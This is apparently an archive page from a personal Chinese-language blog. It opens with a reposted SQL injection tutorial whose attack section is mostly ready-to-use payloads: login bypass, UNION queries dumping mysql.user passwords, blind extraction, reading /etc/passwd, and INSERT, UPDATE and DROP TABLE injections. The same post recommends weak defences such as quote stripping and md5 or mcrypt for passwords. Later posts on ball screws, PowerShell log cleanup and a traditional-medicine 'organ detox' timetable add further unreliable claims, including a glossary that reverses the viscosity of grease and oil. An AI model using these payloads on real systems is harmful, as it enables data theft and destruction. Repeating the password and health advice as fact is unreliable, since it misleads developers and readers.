2016年3月27日 星期日

SQL Injection

參考網址:

出處:
http://www.puritys.me/docs-blog/article-11-SQL-Injection-%E5%B8%B8%E8%A6%8B%E7%9A%84%E9%A7%AD%E5%AE%A2%E6%94%BB%E6%93%8A%E6%96%B9%E5%BC%8F.html

Sql Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。講到 SQL,就要提到資料庫,大多數的網站都會安裝資料庫伺服器(Database),其實 Database 並不是什麼可怕的東西,Database 的功能就是將資料依序儲存下來,然後以最快的速度,找出你想要的資料,而在尋找資料之前,你必須輸入 Database 指令,你輸入的這串指令,我們就稱為 SQL 語法。
Sql Injection 就是指 SQL 語法上的漏洞,藉由特殊字元,改變語法上的邏輯,駭客就能取得資料庫的所有內容,當然也包含了會員的帳號,密碼,下面就舉一個SQL登入漏洞:
一個有會員登入功能的網站,都會需要輸入帳號與密碼來進行驗證
而後端程式,如 PHP 就必需支援相關的登入檢查,判定 User 輸入的帳號、密碼是否正確,來確定登入是否成功 ,PHP 執行的 SQL 語法如下,這是一個簡單的 SQL 語法,主要功能是從 members 這個資料表中,取出符合 User 所輸入帳號與密碼的會員資料。
select * from members where account='$name' and password='$password'
但若是駭客輸入有特殊字元的帳號:「 ' or 1=1 /* 」,密碼:「任意值」
這時SQL語法就會變成:
select * from members where account='' or 1=1 /*' and password=''
因為「/*」在 MySQL 語法中代表註解的意思,所以「/*」後面的字串通通沒有執行,而這句判斷式「1=1」永遠成立,駭客就能登入此網站成功。

SQL 語法的註解

SQL 註解的語法有以下三種,不同的 SQL 版本,會吃不同的語法。
  • 「/*」 MySQL
  • 「--」 MsSQL
  • 「#」 MySQL , # 對於 browser 來說是有意義的,那是錨點的意思,所有必須先透過 Url Encode 後的代碼 「%23」 來代替。

防護方式

Sql Injection攻擊很簡單,不過防護也不難,只要過瀘字串「'」,即可,當然如果你的SQL語法寫得很糟,保險的做法是過瀘「' " 」等字串,並檢查變數型態「數字、字元、字串」,另外會員的密碼最好是經過加密,如 md5 或 Double md5 演算法加密,這樣就能避免資料外洩時,密碼也同時外洩,還有要特別注意,md5 目前已經有破解方式,改用 mcrypt 會是更好的加密方式。
PHP 過瀘 SQL Injection 的語法:
$name = preg_replace("/[\'\"]+/" , '' ,$name);
另一種過瀘方式
  1. $str = "'\"";
  2. $replace = array("'" => "& #39;", "\"" => "& quot;"); //請自已把 & # , & q 中間的空白移除
  3. $str = strtr($str, $replace);
Sql Injection的攻擊方式會因不同的資料庫而有不同的語法, 如 MsSQL的註解是用 「--」MySQL的另一個註解是用 「#」

SQL Injection 攻擊

取得 Table name

如果網站連接 database 使用的帳號,有權限讀取 INFORMATION_SCHEMA database,這樣就能直接搜尋任何一個 table 名稱,如
  • [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
  • [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
  • union select%20host,user,password fROM mysql.user limit 1,1#
  • union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
  • union select host,db,user from mysql.db limit 1,1 #
取得所有資料庫名稱
  • sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
  • sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;
取得所有資料表名稱
  • sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--
一般來說,information_schema 這個資料庫是沒有權限讀取的,尤其是市面上常見的虛擬主機,大部分的虛擬主機只能使用伺服器給的控制台來新增資料庫,沒辦法透過程式讀取所有的資料庫,這時駭客們會開始用猜的方式,來取得資料表的名稱,例如會員資料常會使用的 table 名稱為 users , members 等等。
猜測 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);
  • sqlInjection.php?id=1' or exists(select 1 from members)/*
  • sqlInjection.php?id=1' or exists(select 1 from admin)%23
  • sqlInjection.php?id=1' or exists(select 1 from products)--

暴力猜測 Table Name

資料表的名稱不一定都是英文單字,有些工程師會使用怪怪的命名,這時駭客還是可以使用暴力破解的方式,將 Table Name 拼出來。
SQL 有個 function : substring ,這個功能可以對字串做切割,駭客可以先將「字串」切割成一個字元。
接著使用 ord 將字元轉成 Ascii Code ,然後去比對他的 Ascii Code 是否 = 32~ 127 , a = 97, b = 98
看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第一個字元。
  • id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--


再看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第二個字元。
  • id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--

取得 MySQL 資料庫相關訊息

取得連線帳號 user()
  • sqlInjection.php?id=1' select 1,2,user()/*
取得 Mysql 版本 version()
  • sqlInjection.php?id=1' select 1,2,version()/*

讀取系統檔案內容

透過 mysql 的 method 「load_file」,駭客就能輕易取得網站的檔案內容。
  • union select 1,2,load_file('/etc/passwd')

使用 PDO 防止 SQL Injection

http://us3.php.net/manual/en/book.pdo.php
PDO 是一個可以 query 資料庫的程式,我們能夠透過 PDO 連到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防護機制,使用 bindValue 的方式,PDO 會自動檢查數據格式,並轉換特殊字元,再將 User Input 填入 SQL 語法中。
PDO 使用方式
  1. $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
  2.  
  3. $sth = $db->prepare('select * from table where id =:id and title= :title ');
  4.  
  5. $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
  6.  
  7. $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
  8.  
  9. $sth->execute();
  10. $sth->fetch(PDO::FETCH_ASSOC);
  • PDO::PARAM_INT 數字
  • PDO::PARAM_STR 字串

exp:
?UserId=1+AND+Password=1 

”SELECT … FROM UserInfoTableName 【一個 SQL Injection 實例的啟示】 頁 4 / 6 WHERE UserId=1 AND Password=1”

' UNION SELECT '1','2','3','4',table_name,'6','7','8','9','10' from information_schema.tables --

' UNION SELECT '1','2','3','4',column_Name,'6','7','8','9','10' from information_schema.columns where table_name = 'users' --

' INSERT INTO users VALUES('jimmy','123456') --

' UPDATE users set Password='123456' --

' DROP TABLE Suppliers --

2016年3月26日 星期六

滾珠螺桿(Ball Screw)


參考網址 影片


http://blog.xuite.net/jerrychumf/Mechanical/142903326-%E6%BB%BE%E7%8F%A0%E8%9E%BA%E6%A1%BF+---+%E7%B2%BE%E5%AF%86%E7%9A%84%E5%82%B3%E5%8B%95%E5%85%83%E4%BB%B6

參考網址 保養
http://www.bearing.com.tw/?f=BallScrew-Lubrication


滾珠螺桿簡介


一般的馬達皆為旋轉的運動,但是如果要做直線的定位運動的話,則需要靠使用螺桿來傳動。當然一般要由馬達的旋轉運動改變為直線運動時亦可以使用例如齒排,鏈條或皮帶來傳動,但畢竟於一定距離內其精度或行程精度皆不及滾珠螺桿。

定位螺桿

定位螺桿大致可分為二種,一種為方牙螺桿,另一種則為滾珠螺桿。方牙螺桿因為其背隙 backlash 很大,反覆移動之間會產生蠻大的機械誤差,因螺母與螺桿間為滑動摩擦,所以馬達在帶動時會較為吃力,較不適合接馬達做精密定位使用。

而滾珠螺桿則改善了這個問題,在製造過程中在其螺母內部與會和螺桿磨擦的接觸面上導入了鋼珠,造成滾珠螺桿與螺母兩者在接觸滑動時變為滾動摩擦,故其在推動時馬達較為省力,且在滾珠螺桿本身製造過程中,也採用較為精密的製造流程,所以其背隙的誤差很小,較適合作精密定位使用。

精密等級區別

當然,所謂的精密,還是會有所等級區別的,等級越高越精密的螺桿,其價格相對的就較高了,滾珠螺桿在其行程越長時,所能維持的精度也就越低。總體而言,滾珠螺桿為高效率的進給螺桿,當中包含可在螺桿與螺帽間進行旋轉運動的滾珠。與傳統的滑動螺桿相較之下,只有低於三分之一的驅動扭矩,最適合用來節省驅動馬達的力量。




螺帽之循環型式介紹

循環方式之特性,選定滾珠循環方式,請由螺帽安裝部份之空間及經濟性考慮。


 外循環式
經濟性、最適合於量產、可採用於導程/螺桿軸外徑比較大者。
 內循環式
螺帽外徑精巧不佔空間、適合於導程/螺桿軸外徑比較小者。
 高速靜音式
高速性、高 DN 值、高靜音、環保、體積小,省空間。
 回路數
選定回路數要考慮要求性能、及滾珠螺桿壽命等。
 凸緣形狀 (法蘭螺帽)
螺帽安裝部位配合之空間、加以選定。
 給油孔
精密滾珠螺桿設有給油孔,使用於機器裝配時及定期補給時。

外循環系列 External Circulation

提供較順暢之鋼珠迴流、對於高導程及大直徑滾珠螺桿提供較佳的工作品質。

外循環圓週型

外循環螺帽圖

內循環系列 Internal Circulation

內循環構造的優點,使螺帽外徑為精巧的「圓週形」。因此適合內部空間較小的機器、需要注意的是內循環滾珠螺桿的螺桿軸必須有一端是通牙,且該端的肩部直徑必須小於螺桿軸外徑,否則無法組裝螺帽。

內循環側視圖(圓週形)

內循環螺帽圖

高靜音系列 Low Noice

對高導程滾珠螺桿來說,高剛性、低噪音以及溫升控制是十分重要的。
ABBA 採取以下的對策及設計使達到如下的特性 :

 高 DN 值
一般情況下,ABBA 的高導程滾珠桿的 DN 值可達 130,000 但在一些特別情況下,例如官螺桿兩端都是固定端時 Fixed Ends, DN 值可達 140,000。若有此種需求,請與本公司連絡。
 高速度
ABBA 的高導程滾珠螺桿提供每分鐘 100 公尺或更高的移動速率,是可滿足高速切削所需。
 高剛性
ABBA 的螺桿和螺帽皆有經過表面硬化之處理,達到一定的硬度及有效深度以為持高剛性及耐用性,可提供複螺紋(多螺紋)於螺桿上,使承受負載的鋼珠數量增多而提高了剛性與耐久性。
 低噪音
特別設計的鋼珠回流裝置,提供鋼珠運轉順暢的環境,也使鋼珠快速運動時,不會損壞迴流管,保證滾珠螺桿的品質,
螺紋上平均且準確的鋼珠節同直徑 (BCD),使得滾珠螺桿獲得穩定一致的預壓扭矩及降低噪音值。


滾珠螺桿的保養及使用

由於 ABBA 的滾珠螺桿是非常精密的產品,請嚴格注意以下事項 :
 防銹處理
ABBA 的滾珠螺桿在出廠前都會完成防銹處理,故使用前請先把防銹油清洗乾淨,並請馬上加註潤滑油,如未加注潤滑油而導致產品生銹,我們將無法做無償保修。
(如購買產品後未能在1個月內使用者,請定期做防銹處理,隨著地區溫度的差異,其防銹處理時間亦需有所調整)
 定期檢查
請定期一個月檢查運行狀況,如螺桿表面被灰塵和金屬粉塵污染了,請先用煤油清洗後再加注潤滑劑。滾珠螺桿必須隨時保有潤滑劑,如未加注潤滑劑而導致產品生銹或損壞,我們將無法列為無償保修項目。
 螺帽之使用
由於 ABBA 的滾珠螺桿的螺帽組裝有著嚴格的技術要求,請勿自行拆卸螺母,以免損壞整組滾珠螺桿,從而導致整台設備發生故障。如垂直安裝滾珠螺桿時請特別留意螺帽的滑落,如螺帽不慎滑落,請立即連絡公司進行協助。
 使用環境
產品請務必使用在清潔的環境中,並在產品外頭加裝保護罩,以防止灰塵和金屬粉塵的進入,進而影響產品精度與使用壽命。
請勿使用在高於攝氏 80度的環境中(耐熱規格除外),以免損壞產品之密封件,進而縮短使用壽命。

滾珠螺桿的潤滑

滾珠螺桿所使用的潤滑劑、潤滑脂是使用鋰皂基系之潤滑基油。
其黏度 30~40cst(40°C) 潤滑油使用 ISO 等級 32~100。
低溫用途時 : 使用基油黏度低的潤滑劑。
高溫、高負荷或搖動、低速用途時 : 使用基油黏度較高的潤滑劑。
潤滑劑之檢查與補給間隔之一般指標、補給時要擦掉附著於螺桿軸的舊潤滑液後再加以補給、請參考下表。
潤滑方法檢柳間隔檢柳頂目補給或更換間隔
自動間隔給油每一星期油量、污髒每次檢查時補給,但視油槽容量做適富補充
潤滑脂工作初期2~3個月有無異物混入通常每一年補給,但依檢查結果適當補充。
油浴每日開工前油面管理視消耗狀況適當的補充。

滾珠螺桿的防塵

滾珠螺桿與滾動軸承一樣,當混入異物或水分時,磨損會加快,嚴重者甚至會導致破損。
有鑑於此,本公司的滾珠螺桿螺帽的前後兩端皆附有刮刷器,以達到防塵的效果。
另外在法蘭面端的刮刷器再加上O型套環,更可以防止漏油的發生。


PowerShell刪除7day log

$Today = Get-Date

$Days = “-7”

$TargetFolder = “D:\Temp”

$LastWrite = $Today.AddDays($Days)

Get-ChildItem $TargetFolder -Recurse | Where {!$_.PSIsContainer}| where {$_.LastWriteTime -le "$LastWrite"} | Remove-Item

PowerShell 字串處理範例 (Replace & Split)




------ntstat -no後,去掉前面四行,將空白變成,,再依,或:切割欄位,再取出第  4 欄 (dip)
netstat -no|select -skip 4|%{$_ -replace ' {2,}',','}|%{$a=$_ -split {$_ -eq "," -or $_ -eq ":"};$a[4]}|Group-Object |Format-Table name,count
netstat -no|select -skip 4|%{$_ -replace ' {2,}',','}|%{$a=$_ -split {$_ -eq "," -or $_ -eq ":"};$a[4]}|Group|FT name,count
netstat -no|select -skip 4|%{$_ -replace ' {2,}',','}|%{$a=$_ -split {$_ -eq "," -or $_ -eq ":"};$a[4]}|Group|select name,count

2016年3月25日 星期五

各器官排毒時間表

http://health.businessweekly.com.tw/AArticle.aspx?id=ARTL000017401&utm_source=tw.yahoo.com&utm_medium=blog&utm_content=health&utm_campaign=content



在中醫理論是強調氣血循環,身體內的氣血在經脈內循環流動,但在不同時間,會有各部位加強的現象,這也就是為什麼常常聽到有人說,晚上11點開始走肝膽一定要睡覺。這次Mary把一天24小時(12個時辰)氣血走哪些部位整理出來,讓大家可以做排毒養生喔~ 

各器官排毒時間表
子時:晚上11點到凌晨1點,走膽經,此時最適合睡覺
丑時:凌晨1點到3點,走肝經,此時最適合睡覺休養身體
寅時:凌晨3點到5點,走肺經,此時容易咳嗽,須注意保暖
卯時:清晨5點到7點,走大腸經,起床排便最合宜
辰時:早上7點到9點,走胃經,按摩腹部與進食
巳時:早上9點到11點,走脾經,建議可以多拍打小腿
午時:上午11點到下午1點,走心經,可以多按摩心經
未時:下午1點到3點,走小腸經,多喝水可以幫助排毒
申時:下午3點到5點,走膀胱經,可輕打腰椎到尾椎處
酉時:下午5點到7點,走腎經,雙腳抓地動作可刺激腎經穴道
戌時:晚上7點到9點,走心包經,吃完晚餐後可吃點苦(如蓮子心泡茶)
亥時:晚上9點到11點,走三焦經,可輕打三焦經
專家諮詢:中西醫師 陳至奐醫師

Ball Screw Guide


Reference Url|:http://www.anaheimautomation.com/manuals/forms/ball-screw-guide.php#sthash.hdk7no2F.FwkZntvz.dpbs
Ball Screw Guide
What is a Ball Screw?
A ball screw, like all screws, is a rod with a helical groove that translates rotational motion into linear motion.
Why use a Ball Screw?
Common screws slide on their threads and pull the connecting piece with them. This is how an ACME screw works. This sliding motion is easy to produce but extremely ineffiecient; around 40% of the input power is transferred to the work piece. To improve on this idea the sliding contact must be replaced with rolling elements. Ball Screws use ball bearings in the nuts to roll along the screw. The balls must recirculate or they will fall out of the nut. This leads to the current designs for recirculating ball screws that have efficientcies greater than 90%.

 

Anaheim Automation's Ball Screw Offering
Anaheim Automation offers a high-quality line of ball screws offering flexibility and high performance. As a distributor of and TBI Motion ball screws, Anaheim Automation is sure to have the right ball screw for your application. Choose from a wide range of stroke lengths, as well as multiple different preload and accuracy ratings.
TBI Ball Screws: TBI provides Anaheim Automation with a low cost ball screw assembly solution that saves up to 50% next to competitors, without compromising quality. Both ground and precision rolled ball screws are available, from 4mm to 80mm in diameter. High precision grades from C0 to C10 are available, delivering up to 7,240kgf of dynamic linear force. Anaheim Automation will cut any ball screw to fit the length requirements of your application.
Physical properties of a Ball Screw:
The four main components of a ball screw include the ball screw shaft, ball nut, ball bearings, and the seal, further explained below.


1. Ball Screw Shaft:
The Screw Shaft is a long bar of chromium steel that has grooves formed into a helical pattern. This is the main body of a Ball Screw.
1.     Ball Groove design: When forming the groove for a ball screw it is important to think of the points of contact. The most common groove style is the Gothic Arch. This type of groove allows for four points of contact at all times. With four contact points the ball can be loaded in any direction in that plane.

2.     Pitch circle diameter of balls: The pitch circle (dm) is measured from the center of the bearing to the center of the bearing on the other side of the screw. This measurement is used for the maximum speed calculations.



3.     Nominal Diameter: The outside diameter of the screw. This measurement is useful for sizing the screw as it is easy to measure.
4.     Root Diameter: Diameter from the bottom of the groove to the bottom of the adjacent groove. This is the smallest part of the screw and is important for the critical speed calculation.
5.     Lead: It is the distance the nut travels in one rotation. The larger the lead the faster the nut can travel. The lead also determines the vertical maximum payload and the stopping power of the screw. This is because the load angle is steeper for greater leads; the amount of weight it can hold is less.

6.     Ball diameter: The diameter of the ball bearing that would fit into the groove with a preload of 0. This is used to calculate the diameter of the ball bearing that would give a certain preload. The bigger the balls compared to the nut and screw gap, the higher the preload.
2. Ball Nut (Nut and Ball Recirculation):
There are 3 main styles of Ball Screw Nuts each with a specialty:
1.     Profile Ball Groove: This is the most common type of ball nut, it is easy to make and has good consistent performance. Its simplicity makes this nut easy to mass produce and adjust to fit most sizes, leads, and loads. The balls are recirculated by tubes that pick up the bearings then deposit them back into the cycle. The number of rows of balls before they are recirculated is usually between 1.5-3.5 rows to keep the return tube size manageable and re-balling easier.



2.     Ball Pitch Circle Diameter: This nut has a trimmer profile because it does not use tubes to move the balls. Instead a deflector is used to bump the bearings into the previous track. This means that there must be a deflector for every turn, only one pitch circle per deflector. This design is also inherently better for smaller lead angles because the distance between the grooves is smaller and therefore easier to "jump." This type of nut is more expensive to build because more of the track is internalized and its application is limited by the lead. Great for use on small, space-limited applications with small leads. Because of the recirculation method there can be only one row per cycle.

3.     End Cap: These types of nut are specialized for use with high lead and multiple start threads. It is reserved for these types of nuts because die molds are required to produce them, increasing cost. The number of rows per cycle is not limited in this recirculation type and it is normal to have the whole nut recirculated with one cycle per start.

Multiple Starting Threads:
A multiple thread screw is used in high lead applications to allow for more balls to be in contact with the nut. Multiple threads are only used on high lead screws because there is physically no room to add them on small lead screws. A good way to visualize a multiple thread screw is to think of a candy cane with multiple colors. The different colors are the different starts. End caps are used for these ball screws because they utilize less space to recirculate. Another thing to consider with multiple start screws is that the lead and the pitch are no longer the same. The lead is the pitch times the number of starts. See below diagrams.

3. Ball Bearings:
1.     Diameter: The bearing diameter must fit the lead and the shaft diameter. If the ball is too small there is too much space between threads; oppositely, if they are too big they are too close. The crest between the grooves should be flat, but not too big.

2.     Loading: There is no retainer between the balls like in circular bearings so the balls can become jammed when undesirable ball-on-ball contact is made. This can be reduced by adding spacer balls. Spacer balls are slightly smaller balls that spin between the load balls, but this reduces load capacity because there are less load balls. A synthetic plastic cage has been developed that adds many desirable properties to any recirculating ball bearing application. The plastic cage prevents ball-on-ball contact, reducing friction, jamming and increasing life. These cages also trap oil and grease helping to keep the ball well-oiled.

4. Seals: There are both standard and high-performance seals for use in different environments. All seals prevent foreign matter from entering the space between the nut and ball screw. Some seals are also for lubricant retention.
1.     Standard Seal:
                                 i.           Plastic: used for general or standard ball screws and are of the non contacting type: blocking debris by means of obstruction
                               ii.           Brush: used for rolled ball screws and are of the contacting type, brushing debris off the track
2.     High Performance: Seals that are made specifically for an individual screw nut and lead combination. These seals have a special lip that blocks contaminants, while only slightly increasing operational torque. These seals are used for especially dirty jobs, such as woodworking, welding, and automobile manufacturing.
What is Accuracy?
Accuracy is one of the crucial components in ball screw operation, as ball screws are utilized primarily for their precision and accuracy retention. Lead error and mounting error are two calculated error parameters that are important to consider in your ball screw application.
1. Lead Error: Lead Error is defined in two ways: the difference between the expected length (L) and the actual length (L+/-e), and the sum of all the e's (∑e=E ). For example, if the L is 5mm and the e=+/-.005mm the possible length could be 4.995-5.005mm.

2. Mounting Error: Mounting Error is caused by the way the screw is supported and the installation of the ball nut. The three most likely mounting errors include, bearing misalignment, coupling misalignment, and nut misalignment. Mounting error can create noise, shorten life, and cause positioning errors.
What is Preload?
Preload is a load that is put on a part (bolts, screws, bearings, etc) before its operating load is applied. This load causes some elastic deformation that improves performance. Elastic deformation is a change in shape that is fully reversible, like squishing a rubber ball. In the case of ball screws, the preload is on the interface of the nut and screw. The ball bearings and both the nut and screw grooves are all "squished" together.

This "squishing" eliminates backlash and reduces deflection. Backlash is the amount of lost motion caused by looseness in the drive train which can cause placement errors. The preload creates a tight fit for the nut, eliminating backlash. The increased stiffness is caused from the phenomenon that as a piece of steel is loaded elastically; it becomes increasingly hard to deform it. The preload eliminates the possibility of "easy" deformation; a greater amount of force is required.

There are a few different ways to add a preload:
  1. Pick a ball that is bigger than the groove
  2. Pick a nut that is smaller than the screw
  3. Pick a screw that is bigger than the nut
  4. Use 2 nuts and insert a wedge
  5. Use 2 nuts and insert a spring
  6. Offset grooves inside the nut
Ball Screw Assembly:
A ball screw must be supported so that the shaft can be rotated. Usually this involves roller bearings and the holding brackets. Some longer screws need to be supported for critical speed and bending restraints. End machining may be required to fit into the bearing or connect to the motor. Connecting to the motor requires a coupling and the appropriate machining. In order for the nut to translate accurately, it must be restrained by a table and support rails. In the end, a ball screw assembly should look something like the picture below.

What Type of Lubrication do Ball Screws use?
Ball Screws can use either grease or oil for lubrication. It is recommended to use grease for most normal applications. This is because grease does not require any special lubricating system and much less grease is needed than oil. Oil can be needed for high-speed applications or when required.
History of Ball Screws:
There have been attempts to replace sliding friction screws with rolling friction screws since the 19 century. However because of the limited level of manufacturing and technology, the first practical application of ball screws was by General Motors, who used ball screws for their steering columns. Since then the technology surrounding ball screws has advanced rapidly. This rapid advance has led them to be used in CNC machines, automated manufacturing, and medical devices. With superior accuracy, repeatability, and high efficiencies ball screws are the best way to translate rotational motion into linear motion.
Ball Screw Applications
Ball screws are used in motion control but require bearing supports and motor couplings to work effectively. By using ball screws in conjunction with linear stages we are able to produce stable linear translation for many applications. For this reason ball screws are used in a broad range of industries ranging from garage door openers to CNC machines and MRI table sliders. Ball screws are not commonly used in applications requiring oscillating motions less than a ball diameter. This type of motion removes the lubrication layer and leads to increased error. This can be worked around using smaller ball screws and special grease.
Lifetime of a Ball Screw
Ball screws have very low friction coefficients, which is the key to both their accuracy and their longevity. The actual life is determined by load, speed, lead and screw size. Common values are 20,000 hours, and 50,000 km or 5 years.
Required Maintenance for a Ball Screw
Most ball screws require a certain degree of regular maintenance; however some specialty balls screws do not require any maintenance! Make sure that the rails are free of contaminates like water, dirt, dust and debris. The nut should also be lubricated using either oil or grease. Grease offers lower overall performance but is much more convenient, cheaper to use, and easier to maintain than oil (which requires a circulation system).
Ball Screw Glossary
Backlash- the "lost motion" that comes from looseness in the drive train.

Ball Bearing- a chromium steel ball set to tight tolerances that support loads.

Ball Nut- the nut that rides a ball screw and uses recirculating ball bearings.

Ball Screw Shaft- a chromium steel shaft with helical grooves that house ball bearings to change rotational motion into linear motion.

Elastic Deformation- a changing in shape that is not permanent and will reverse on its own.

End Cap Nut- a style of nut that recirculates at the end, it is used to accommodate large and multiple start leads.

Grease- a lubricant that is not very viscous.

Lead- the linear distance traveled in one rotation.

Lead Error- the difference in the actual travel and the theoretical travel of the ball nut.

Lubricant- a substance that reduces friction between other objects.

Mounting Error- error caused from inaccuracies in mounting the screw in bearings, motors, ball nuts, etc.

Multiple Starting Threads- a screw that has more than one track, only applicable on large leads due to space restraints. Used to add more balls to large lead ball nuts.

Nominal Diameter- the diameter of the thread "tops;" the maximum diameter of the screw

Oil- a lubricant that is highly viscous

Pitch Circle Nut- a style of nut that recirculates the balls every rotation, good for small leads and small nut profiles

Pitch Diameter of Balls- the diameter created by connecting the centers of the ball bearings

Preload- the tightness of the nut to the shaft, caused from the elastic deformation of the parts involved.

Profile Ball Nut- the most common nut type, it uses tubes to recirculate the balls.

Root Diameter- the diameter made from the bottom of the screw, the thinnest point and used in life calculations

Seals- a device used to keep things in, out or both.
- See more at: http://www.anaheimautomation.com/manuals/forms/ball-screw-guide.php#sthash.hdk7no2F.dpuf